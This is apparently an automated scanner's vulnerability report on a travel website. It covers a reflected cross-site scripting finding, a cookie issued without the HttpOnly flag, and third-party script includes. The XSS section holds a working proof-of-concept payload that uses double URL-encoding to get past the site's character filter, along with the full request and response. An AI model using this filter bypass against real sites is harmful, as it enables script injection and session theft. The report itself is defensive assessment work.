The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload e4423%253cscript%253ealert%25281%2529%253c%252fscript%253e0f4ee5c198f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e4423<script>alert(1)</script>0f4ee5c198f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Travelguide/Countries/France/Regions/Ski+Resorts?e4423%253cscript%253ealert%25281%2529%253c%252fscript%253e0f4ee5c198f=1 HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Moved Temporarily
Date: Wed, 09 Feb 2011 22:13:06 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-transform
Vary: User-Agent,Accept,Accept-Encoding
Location: http://wordtravels.com
Content-Type: text/html
Content-Length: 121353


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <link rel="icon" href="/favico
...[SNIP]...
<a href="">Ski Resorts?e4423<script>alert(1)</script>0f4ee5c198f=1 Travel Guide</a>
...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /Resorts/France/Ski+Resorts/Courchevel HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 21:55:20 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=20d8a55defb71048f0c0bcba80fc0af1; path=/
Content-Type: text/html
Content-Length: 25999

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...

4. Cross-domain script include  previous
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /Resorts/France/Ski+Resorts/Courchevel HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 21:55:20 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=20d8a55defb71048f0c0bcba80fc0af1; path=/
Content-Type: text/html
Content-Length: 25999

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...
<!-- facebook social links -->
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
           <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
           <script src="http://adnet.worldreviewer.com/ads/show_ads_default.js"></script>
...[SNIP]...
<!-- facebook social links -->
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
<!-- start Vibrant Media IntelliTXT script section -->
<script type="text/javascript" src="http://wordtravels.uk.intellitxt.com/intellitxt/front.asp?ipid=18913"></script>
...[SNIP]...
</html><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

4.2. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Travelguide/Countries/France/Regions/Ski+Resorts

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /Travelguide/Countries/France/Regions/Ski+Resorts HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Moved Temporarily
Date: Wed, 09 Feb 2011 22:03:47 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-transform
Vary: User-Agent,Accept,Accept-Encoding
Location: http://wordtravels.com
Connection: close
Content-Type: text/html
Content-Length: 120385


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <link rel="icon" href="/favico
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...
<!-- facebook social links -->
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
           <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<link rel="stylesheet" href="http://uidget.appspot.com/po/po_241.css" type="text/css" media="screen" title="no title" charset="utf-8" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript" src="http://uidget.appspot.com/po/datepicker.js"></script>
<script type="text/javascript" src="http://uidget.appspot.com/po/init.js"></script>
...[SNIP]...
</script>
           <script src="http://adnet.worldreviewer.com/ads/show_ads_default.js"></script>
...[SNIP]...
<!-- facebook social links -->
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
<!-- start Vibrant Media IntelliTXT script section -->
<script type="text/javascript" src="http://wordtravels.uk.intellitxt.com/intellitxt/front.asp?ipid=18913"></script>
...[SNIP]...
</html><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Wed Feb 09 19:48:28 CST 2011.